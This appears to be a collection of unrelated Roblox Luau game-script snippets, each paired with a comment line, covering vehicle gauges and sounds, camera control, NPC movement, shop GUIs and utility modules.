UnequipLoop = Character.ChildAdded:Connect(function(child)
if child:IsA("Tool") and Services.Players:GetPlayerFromCharacter(Character) and Services.Players:GetPlayerFromCharacter(Character):FindFirstChild("Backpack") then
--Humanoid:UnequipTools()
Services.RunService.Stepped:Wait() --Wait at least 1 frame or that warning will occur
child.Parent = Services.Players:GetPlayerFromCharacter(Character):FindFirstChild("Backpack")
end
end)
local floor = math.floor
for i=0,floor(60*(Properties.TravelTime)),1 do
local Precentage = (i/(60*Properties.TravelTime))*100
for t=1,#LightBallAnimations,1 do
Bezier.Quadratic(Precentage,LightBallAnimations[t].Start,LightBallAnimations[t].Control,LightBallAnimations[t].End,LightBallAnimations[t].Object,"CFrame")
end
Services.RunService.Heartbeat:Wait()
end
for t=1,#LightBallAnimations,1 do
if LightBallAnimations[t].Object then
if LightBallAnimations[t].Object:FindFirstChildOfClass("ParticleEmitter") then
LightBallAnimations[t].Object:FindFirstChildOfClass("ParticleEmitter").Enabled = false
end
LightBallAnimations[t].Object.Size = Vector3.new(1,1,1)*0
LightBallAnimations[t].Object.Transparency = 1
Services.Debris:AddItem(LightBallAnimations[t].Object,2)
end
end
|
-- Local Variables
|
local Events = game.ReplicatedStorage.Events
local DisplayIntermission = Events.DisplayIntermission
local Camera = game.Workspace.CurrentCamera
local Player = game.Players.LocalPlayer
local ScreenGui = script.ScreenGui
local InIntermission = false
|
--[=[
Fires a ScriptSignal object with the arguments passed.
```lua
ScriptSignal:Connect(function(text)
print(text)
end)
ScriptSignal:Fire("Some Text...")
-- "Some Text..." is printed twice
```
@param ... any
@ignore
]=]
|
function ScriptSignal:Fire(...: any)
local node: ScriptConnectionNode? = self._head
while node ~= nil do
if node._connection ~= nil then
if FreeThread == nil then
task.spawn(CreateFreeThread)
end
task.spawn(
FreeThread :: thread,
node._handler, ...
)
end
node = node._next
end
end
|
-- Assign hotkeys for selection clearing
|
AssignHotkey({ 'LeftShift', 'R' }, Support.Call(Selection.Clear, true));
AssignHotkey({ 'RightShift', 'R' }, Support.Call(Selection.Clear, true));
|
--once someone talks to the shopkeeper, the GUI will be cloned to the player, and this script will be cloned to the GUI and then enabled to load all the items
|
shop = game.ServerStorage:findFirstChild(script.Parent.Name)
gui = script.Parent.CenterFrame.Shop
gui.Header.Text = script.Parent.Name
items = shop:GetChildren()
xv = 0
yv = 0
for i,v in pairs(items) do
if v.className == "Model" then
local button = gui.Items.BaseButton:clone() --make new button for each item
button.Parent = gui.Items
button.Name = v.Name
button.Image = "http://www.roblox.com/asset/?id="..v.DecalID.Value
button.Position = UDim2.new(0, xv*80, 0, yv*80)
xv = xv + 1
if xv == 4 then
xv = 0
yv = yv + 1
end
local desc = v.ItemDesc:clone() --place the item desc into the button
desc.Parent = button
local cost = v.ItemCost:clone()
cost.Parent = button
button.Visible = true
end
end
script.Parent.CenterFrame:TweenPosition(UDim2.new(.5,0,.5,0), "Out", "Quad", .2, true)
|
--
-- Adapted from
-- Tweener's easing functions (Penner's Easing Equations)
-- and http://code.google.com/p/tweener/ (jstweener javascript version)
--
| |
-- local timenow = game.Lighting:GetMinutesAfterMidnight() / 60
| |
-- Make the chat work when the top bar is off
|
module.ChatOnWithTopBarOff = false
module.ScreenGuiDisplayOrder = 6 -- The DisplayOrder value for the ScreenGui containing the chat.
module.ShowFriendJoinNotification = false -- Show a notification in the chat when a players friend joins the game.
|
--]]
|
function getHumanoid(model)
for _, v in pairs(model:GetChildren()) do
if v:IsA'Humanoid' then
return v
end
end
end
local zombie = script.Parent
local human = getHumanoid(zombie)
local hroot = zombie.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude
local pfs = game:GetService("PathfindingService")
function GetPlayerNames()
local players = game:GetService('Players'):GetChildren()
local name = nil
for _, v in pairs(players) do
if v:IsA'Player' then
name = tostring(v.Name)
end
end
return name
end
spawn(function()
while wait() do
end
end)
function GetPlayersBodyParts(t)
local torso = t
if torso then
local figure = torso.Parent
for _, v in pairs(figure:GetChildren()) do
if v:IsA'Part' then
return v.Name
end
end
else
return "HumanoidRootPart"
end
end
function GetTorso(part)
local chars = game.Workspace:GetChildren()
local torso = nil
for _, v in pairs(chars) do
if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
local charRoot = v:FindFirstChild'HumanoidRootPart'
if (charRoot.Position - part).magnitude < SearchDistance then
torso = charRoot
end
end
end
return torso
end
for _, zambieparts in pairs(zombie:GetChildren()) do
if zambieparts:IsA'Part' then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
enemyhuman:TakeDamage(ZombieDamage)
end
end)
end
end
|
-- поведение
|
local MaxInc = 60 -- дальность блуждания
local Figure = script.Parent
local Humanoid = waitForChild(Figure, "Humanoid")
local Torso = waitForChild(Figure, "Head")
while true do -- бесконечно
wait(math.random(1,5)) -- пауза от 1 до 5 секунд
local target = findNearestTorso(Torso.Position) -- поиск гуманоида
if target ~= nil then -- если результат не пустой, то двигаемся к нему
Humanoid:MoveTo(target.Position, target) -- отправляем нас к нему
-- script.Parent.humanoid.MoveToFinished:Wait() -- пауза, пока он не дойдёт до нужной точки?
--[[
А в этой статье как расчитать правильный путь, а не тупо идти по прямой
https://developer.roblox.com/en-us/articles/Pathfinding
--]]
end
if target == nil then -- цели нет, блуждаем...
if math.random(1, 7) == 1 then
Humanoid.Jump = true -- подпрыгнуть?
end
-- отправиться в путь
Humanoid:MoveTo(Torso.Position + Vector3.new(math.random(-MaxInc, MaxInc), 0, math.random(-MaxInc, MaxInc)))
end
end
|
-- PUT IN SERVERSCRIPTSERVICE
|
local Players = game:GetService("Players")
Players.PlayerAdded:connect(function(player)
if player.MembershipType == Enum.MembershipType.Premium then --Here, the script will find players with the Premium membership type.
player.CharacterAdded:connect(function(char)
local humanoid = char:findFirstChild("Humanoid") --If the player has Premium, it will need to be a Humanoid.
if humanoid then --If the player is Humanoid...they will get special benefits in-game!
humanoid.MaxHealth = 250 --The player will have a higher health bar. The health is 250, but you are free to change it.
humanoid.Health = humanoid.MaxHealth
humanoid.WalkSpeed = 32 --The player will have faster walkspeed. Feel free to change this too.
humanoid.JumpPower = 50 --The player will be able to jump very high. You can also change this.
end
end)
end
end)
|
-- Connects a function to an event such that it fires asynchronously
|
local IsA = game.IsA
local ClearAllChildren = game.ClearAllChildren
local IsAncestorOf = game.IsAncestorOf
local WaitForChild = game.WaitForChild
local FindFirstChildOfClass = game.FindFirstChildOfClass
local GetPropertyChangedSignal = game.GetPropertyChangedSignal
local GetChildren = game.GetChildren
local GetDescendants = game.GetDescendants
local Clone = game.Clone
local Destroy = game.Destroy
local Wait, Connect, Disconnect = (function()
local A = game.Changed
local B = A.Connect
local C = B(A, function()end)
local D = C.Disconnect
D(C)
return A.Wait, B, D
end)()
|
--"don't edit below", i won't help you if you mess it up even though it's really simple
|
while wait() do
if (vl.Throttle.Value < 0.1 and vl.RPM.Value > 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0)) and (vl.Brake.Value == 0) and (vl.PBrake.Value == false) then
car.DriveSeat.Roll.MaxForce = Vector3.new(strength,0,strength)
else
car.DriveSeat.Roll.MaxForce = Vector3.new(0,0,0)
end
car.DriveSeat.Roll.Velocity = car.DriveSeat.CFrame.lookVector*(max*(math.min(vl.Gear.Value,1)))
end
|
--WeldRec(P.Parent.Lights)
|
for _,v in pairs(weldedParts) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
script.Parent.Keyscreen.Fob.Value = script.Parent
script.Parent.Filter.Parent = script.Parent.Parent:FindFirstChildOfClass("Model")
wait()
script.Parent.Parent = workspace
wait()
script:Destroy()
|
-- Get references to the DockShelf and its children
|
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.FMusic
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
|
--- Maps values of an array through a callback and returns an array of mapped values
|
function Util.Map(array, callback)
local results = {}
for i, v in ipairs(array) do
results[i] = callback(v, i)
end
return results
end
|
--Turbo Gauge GUI--
|
local fix = 0
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.BAnalog.Visible = BoostGaugeVisible
script.Parent.Background.Visible = BoostGaugeVisible
script.Parent.DontTouch.Visible = BoostGaugeVisible
script.Parent.Num.Visible = BoostGaugeVisible
local turbo = ((totalPSI/2)*WasteGatePressure)
local turbo2 = WasteGatePressure
fix = -turbo2 + turbo*2
script.Parent.BAnalog.Rotation= 110 + (totalPSI/2)*220
script.Parent.Num.N1.TextLabel.Text = (math.floor(WasteGatePressure*(4/4)))*TurboCount
script.Parent.Num.N2.TextLabel.Text = (math.floor(WasteGatePressure*(3/4)))*TurboCount
script.Parent.Num.N3.TextLabel.Text = (math.floor(WasteGatePressure*(2/4)))*TurboCount
script.Parent.Num.N4.TextLabel.Text = (math.floor(WasteGatePressure*(1/4)))*TurboCount
script.Parent.Num.N5.TextLabel.Text = 0
script.Parent.Num.N6.TextLabel.Text = -5
end)
|
--Show a specific page
|
function module:ShowSpecificPage(pageName, subPageName)
for a,b in pairs(pages:GetChildren()) do
if b.Name == pageName then
if currentPage == b then
b.Visible = true
else
tweenPages(UDim2.new(-1,0,0,0), b, true)
end
local subPages = subPageOrders[b.Name]
if subPages then
local oldPos
local newPos
for i,v in pairs(subPages) do
local subPage = b[v]
if subPage.Name == subPageName then
newPos = i
elseif subPage.Position.X.Scale == 0 then
oldPos = i
end
end
--
if oldPos == nil then
for i = 1, #subPages do
if i ~= newPos then
oldPos = i
end
end
end
--
if pageName == "Admin" and currentPage.Name == "Admin" then
spawn(function() main:GetModule("PageAdmin"):UpdatePages() end)
end
module:OpenMainFrame()
if b:FindFirstChild("NavigateButtons") then
navigateNewPage(b, oldPos, newPos, "Left", true)
end
end
else
b.Visible = false
end
end
end
module:ShowSpecificPage("Home")
|
-- Play Sound
|
playSound.OnServerEvent:Connect(function(player, sound)
local serversound = tool:WaitForChild("Handle"):WaitForChild("ServerSound")
serversound.SoundId = sound.SoundId
playSound:FireClient(player, serversound)
serversound:Play()
end)
|
-- Events
|
Conductor.SeekEvent = Orchestra.Events.ClientEvents.Seek
Conductor.SeekSceneServer = Orchestra.Events.OrchestrationEvents.SeekSceneServer
Conductor.Orchestrate = Orchestra.Events.OrchestrationEvents.Orchestrate
Conductor.SendSceneConfigForPlayer = Orchestra.Events.OrchestrationEvents.SendSceneConfigForPlayer
Conductor.PauseEvent = Orchestra.Events.ClientEvents.Pause
local hasBeenCalled = false
return function(stubs)
if hasBeenCalled then
error("Conductor has already been called")
return
end
-- Used for testing only
if stubs then
for i, v in pairs(stubs) do
Conductor[i] = v
end
end
-- Seek Event: Seek from the UI when user has permissions
Conductor.handleSeekEvent = Conductor.SeekEventModule
Conductor.SeekEvent.OnServerEvent:Connect(Conductor.handleSeekEvent)
-- Seek Scene Server: Seek programmatically from a server script
Conductor.handleSeekSceneServer = Conductor.SeekSceneServerModule
Conductor.SeekSceneServer.Event:Connect(Conductor.handleSeekSceneServer)
-- Creates a new media controller, if necessary, and orchestrates
Conductor.handleOrchestration = Conductor.OrchestrateModule()
Conductor.Orchestrate.Event:Connect(Conductor.handleOrchestration)
-- Sends over the current scene's config for a player to orchestrate client side
Conductor.handleSendSceneConfigForPlayer = Conductor.SendSceneConfigForPlayerModule()
Conductor.SendSceneConfigForPlayer.Event:Connect(Conductor.handleSendSceneConfigForPlayer)
-- Pause Event: Pause from the UI when user has permissions
Conductor.handlePauseEvent = Conductor.PauseEventModule
Conductor.PauseEvent.OnServerEvent:Connect(Conductor.handlePauseEvent)
hasBeenCalled = true
script:SetAttribute(enums.Attribute.FrameworkReady, true)
return Conductor
end
|
--------------------------------------------------------------------------
|
local _WHEELTUNE = {
--[[
SS6 Presets
[Eco]
WearSpeed = 1,
TargetFriction = .7,
MinFriction = .1,
[Road]
WearSpeed = 2,
TargetFriction = .7,
MinFriction = .1,
[Sport]
WearSpeed = 3,
TargetFriction = .79,
MinFriction = .1, ]]
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .1 ,
FTargetFriction = .7 ,
FMinFriction = .1 ,
RWearSpeed = .4 ,
RTargetFriction = .7 ,
RMinFriction = .1 ,
--Tire Slip
TCSOffRatio = 1/3 ,
WheelLockRatio = 1/2 , --SS6 Default = 1/4
WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2
--Wheel Properties
FFrictionWeight = 1 , --SS6 Default = 1
RFrictionWeight = 1 , --SS6 Default = 1
FLgcyFrWeight = 10 ,
RLgcyFrWeight = 10 ,
FElasticity = .5 , --SS6 Default = .5
RElasticity = .5 , --SS6 Default = .5
FLgcyElasticity = 0 ,
RLgcyElasticity = 0 ,
FElastWeight = 1 , --SS6 Default = 1
RElastWeight = 1 , --SS6 Default = 1
FLgcyElWeight = 10 ,
RLgcyElWeight = 10 ,
--Wear Regen
RegenSpeed = 0 --SS6 Default = 3.6
}
|
--[[ The Module ]]
|
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local DynamicThumbstick = setmetatable({}, BaseCharacterController)
DynamicThumbstick.__index = DynamicThumbstick
function DynamicThumbstick.new()
local self = setmetatable(BaseCharacterController.new(), DynamicThumbstick)
self.humanoid = nil -- Remove on FFlagUserDTDoesNotTrackTools
self.tools = {} -- Remove on FFlagUserDTDoesNotTrackTools
self.toolEquipped = nil -- Remove on FFlagUserDTDoesNotTrackTools
self.moveTouchObject = nil
self.moveTouchLockedIn = false
self.moveTouchFirstChanged = false
self.moveTouchStartPosition = nil
self.startImage = nil
self.endImage = nil
self.middleImages = {}
self.startImageFadeTween = nil
self.endImageFadeTween = nil
self.middleImageFadeTweens = {}
self.isFirstTouch = true
self.thumbstickFrame = nil
self.onRenderSteppedConn = nil
self.fadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT
self.fadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT
self.hasFadedBackgroundInPortrait = false
self.hasFadedBackgroundInLandscape = false
self.tweenInAlphaStart = nil
self.tweenOutAlphaStart = nil
-- If this module changes a player's humanoid's AutoJumpEnabled, it saves
-- the previous state in this variable to revert to
self.shouldRevertAutoJumpOnDisable = false -- Remove on FFlagUserDTDoesNotForceAutoJump
return self
end
|
--[[
class Spring
Description:
A physical model of a spring, useful in many applications. Properties only evaluate
upon index making this model good for lazy applications
API:
Spring = Spring.new(number position)
Creates a new spring in 1D
Spring = Spring.new(Vector3 position)
Creates a new spring in 3D
Spring.Position
Returns the current position
Spring.Velocity
Returns the current velocity
Spring.Target
Returns the target
Spring.Damper
Returns the damper
Spring.Speed
Returns the speed
Spring.Target = number/Vector3
Sets the target
Spring.Position = number/Vector3
Sets the position
Spring.Velocity = number/Vector3
Sets the velocity
Spring.Damper = number [0, 1]
Sets the spring damper, defaults to 1
Spring.Speed = number [0, infinity)
Sets the spring speed, defaults to 1
Spring:TimeSkip(number DeltaTime)
Instantly skips the spring forwards by that amount of now
Spring:Impulse(number/Vector3 velocity)
Impulses the spring, increasing velocity by the amount given
]]
|
local Spring = {}
|
--Made by Luckymaxer
|
Figure = script.Parent
RunService = game:GetService("RunService")
Body = Figure:WaitForChild("Body")
Tail = Body:WaitForChild("Tail")
LeftShoulder = Body:WaitForChild("Left Shoulder")
RightShoulder = Body:WaitForChild("Right Shoulder")
LeftHip = Body:WaitForChild("Left Hip")
RightHip = Body:WaitForChild("Right Hip")
ParticlePart = Figure:WaitForChild("ParticlePart")
for i, v in pairs({Tail, LeftShoulder, RightShoulder, LeftHip, RightHip}) do
if v and v.Parent then
v.DesiredAngle = 0
v.CurrentAngle = 0
end
end
function Move(Time)
local LimbAmplitude = 0.15
local LimbFrequency = 5
local TailAngle = (0.2 * math.sin(Time * 2))
local LimbDesiredAngle1 = (LimbAmplitude * math.sin(Time * LimbFrequency))
local LimbDesiredAngle2 = -(LimbAmplitude * math.sin(Time * LimbFrequency))
Tail.DesiredAngle = TailAngle
LeftShoulder.DesiredAngle = LimbDesiredAngle1
RightShoulder.DesiredAngle = -LimbDesiredAngle2
LeftHip.DesiredAngle = LimbDesiredAngle2
RightHip.DesiredAngle = -LimbDesiredAngle1
end
function DisplayParticles()
local Moving = ((Body.Velocity * Vector3.new(1, 0, 1)).Magnitude > 10)
for i, v in pairs(ParticlePart:GetChildren()) do
if v:IsA("ParticleEmitter") then
v.Enabled = Moving
end
end
end
RunService.Stepped:connect(function()
local _, Time = wait(0.1)
Move(Time)
DisplayParticles()
end)
|
-----------------
--| Variables |--
-----------------
|
local DebrisService = game:GetService('Debris')
local PlayersService = game:GetService('Players')
local MyPlayer
local Tool = script.Parent
local ToolHandle = Tool:WaitForChild("Handle")
local MouseLoc = Tool:WaitForChild("MouseLoc",10)
local RocketScript = script:WaitForChild('Rocket')
local SwooshSound = script:WaitForChild('Swoosh')
local BoomSound = script:WaitForChild('Boom')
|
--game.Lighting.ColorCorrection.Contrast = 0.1
|
game.Lighting.Blur.Size = 3
script.Parent.KillerGui.Enabled = true
if k ~= nil then
script.Parent.KillerGui.Killer.Text = k.Name
while wait() do
workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
workspace.CurrentCamera:Interpolate(oldpos,k.Head.CFrame,0.1)
end
else
script.Parent.KillerGui.Killer.Text = "Explosion"
while wait() do
workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
workspace.CurrentCamera:Interpolate(oldpos,workspace:WaitForChild(game.Players.LocalPlayer.Name).Head.CFrame,0.2)
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local v1 = {};
local u2 = {};
function v1.CacheProperty(p1, p2)
if not p1 then
return;
end;
if u2[p1] == nil then
u2[p1] = {};
end;
if u2[p1][p2] == nil then
u2[p1][p2] = p1[p2];
end;
return u2[p1][p2];
end;
local u3 = nil;
local u4 = u1.PlayerModule.Get("PlayerGui");
function v1.GetHolder()
if u3 == nil then
u3 = Instance.new("ScreenGui");
u3.Name = "GFX Holder";
u3.DisplayOrder = 999;
u3.Parent = u4;
end;
return u3;
end;
for v2, v3 in ipairs(script:GetChildren()) do
if not v2 then
break;
end;
if v3.ClassName == "ModuleScript" then
v1[v3.Name] = require(v3);
end;
end;
return v1;
|
--Automatic Gauge Scaling
|
if autoscaling then
local wDia = bike.RearSection.Wheel.Size.Y
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
end
end
for i=0,revEnd*2 do
local ln = gauges.ln:clone()
ln.Parent = gauges.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = gauges.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",gauges.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = gauges.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 45+270*(i/12)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,40)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
end
bln.Num:Destroy()
bln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",gauges.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = gauges.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
isOn.Changed:connect(function()
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
values.RPM.Changed:connect(function()
gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000))
end)
local _TCount = _Tune.Turbochargers
local _SCount = _Tune.Superchargers
if _TCount~=0 or _SCount~=0 then
values.Boost.Changed:connect(function()
local _T = 0
local _S = 0
if _TCount~=0 then _T = _Tune.T_Boost*_TCount end
if _SCount~=0 then _S = _Tune.S_Boost*_SCount end
local tboost = (math.floor(values.BoostTurbo.Value)*1.2)-(_T/5)
local sboost = math.floor(values.BoostSuper.Value)
gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,values.Boost.Value/(_T+_S))
gauges.PSI.Text = tostring(math.floor(tboost+sboost).." PSI")
end)
else
gauges.Boost:Destroy()
end
values.Gear.Changed:connect(function()
local gearText = values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
gauges.Gear.Text = gearText
end)
values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCS.Value then
gauges.TCS.TextColor3 = Color3.new(1,170/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.TCSActive.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = true
gauges.TCS.TextColor3 = Color3.new(1,0,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.TCS.Visible = false
end
end)
values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = false
end
end)
gauges.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
end
else
if gauges.TCS.Visible then
gauges.TCS.Visible = false
end
end
end)
values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABS.Value then
gauges.ABS.TextColor3 = Color3.new(1,170/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.ABSActive.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = true
gauges.ABS.TextColor3 = Color3.new(1,0,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.ABS.Visible = false
end
end)
values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = false
end
end)
gauges.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
end
else
if gauges.ABS.Visible then
gauges.ABS.Visible = false
end
end
end)
function PBrake()
gauges.PBrake.Visible = values.PBrake.Value
end
values.PBrake.Changed:connect(PBrake)
function Gear()
if values.TransmissionMode.Value == "Auto" then
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif values.TransmissionMode.Value == "DCT" then
gauges.TMode.Text = "S/T"
gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
gauges.TMode.Text = "M/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
values.TransmissionMode.Changed:connect(Gear)
values.Velocity.Changed:connect(function(property)
gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
gauges.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(gauges.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
--[[ Local Variables ]]
|
--
local MasterControl = {}
local Players = game:GetService('Players')
local RunService = game:GetService('RunService')
while not Players.LocalPlayer do
Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer
local LocalCharacter = LocalPlayer.Character
local CachedHumanoid = nil
local isJumping = false
local moveValue = Vector3.new(0, 0, 0)
local isJumpEnabled = true
local areControlsEnabled = true
local clickToMoveFailStateChanged = Instance.new("BindableEvent")
clickToMoveFailStateChanged.Name = "ClickToMoveFailStateChanged"
|
--!nonstrict
--[[
CameraModule - This ModuleScript implements a singleton class to manage the
selection, activation, and deactivation of the current camera controller,
character occlusion controller, and transparency controller. This script binds to
RenderStepped at Camera priority and calls the Update() methods on the active
controller instances.
The camera controller ModuleScripts implement classes which are instantiated and
activated as-needed, they are no longer all instantiated up front as they were in
the previous generation of PlayerScripts.
2018 PlayerScripts Update - AllYourBlox
--]]
|
local CameraModule = {}
CameraModule.__index = CameraModule
|
--clockwork
|
local bin = script.Parent
enabled = true
function explode(pos)
local lol = Instance.new("Explosion")
lol.BlastRadius = 10
lol.BlastPressure = 1
lol.Position = pos
lol.Parent = game.Workspace
end
function onButton1Down(mouse)
if not enabled then return end
local player = game.Players.LocalPlayer
if player == nil then return end
print("trigger")
-- find the best cf
enabled = false
startPos = player.Character.Head.Position
delta = mouse.Hit.p - startPos
unit = delta.unit
for i=0,75 do
explode(startPos + unit * 20 + i * unit * i / 25)
wait(.05)
end
wait(0)
enabled = true
end
function onSelected(mouse)
print("select")
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end
bin.Selected:connect(onSelected)
|
-- | | \ |/ / / / | | \___ |
|
--|____|_ /__/_____ \/_____ \ |__| / ____|
-- \/ \/ \/ \/
game.Players.PlayerAdded:connect(function(player)
wait(0.5)
player.CameraMaxZoomDistance = 20
end)
|
--Player.CameraMode = "LockFirstPerson"
|
elseif key == "q" or key=="ButtonL2" and zoomed then
zoomed = false
Cam.FieldOfView = 70
animation:Stop()
Player.Character.Humanoid.CameraOffset = Vector3.new(0,0,0)
|
---Camera
|
game:GetService("RunService").RenderStepped:connect(function()
if _MSteer then
cam.CameraType = Enum.CameraType.Scriptable
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-(car.DriveSeat.CFrame.lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
elseif cam.CameraType ~= Enum.CameraType.Custom then
cam.CameraType = Enum.CameraType.Custom
end
end)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
script:WaitForChild("Rev")
script:WaitForChild("Rel")
script.Parent.Values.Gear.Changed:connect(function()
mult=1
if script.Parent.Values.RPM.Value>5000 then
shift=.2
end
end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("newSound","Rel",car.DriveSeat,script.Rel.SoundId,0,script.Rel.Volume,true)
handler:FireServer("playSound","Rev")
handler:FireServer("playSound","Rel")
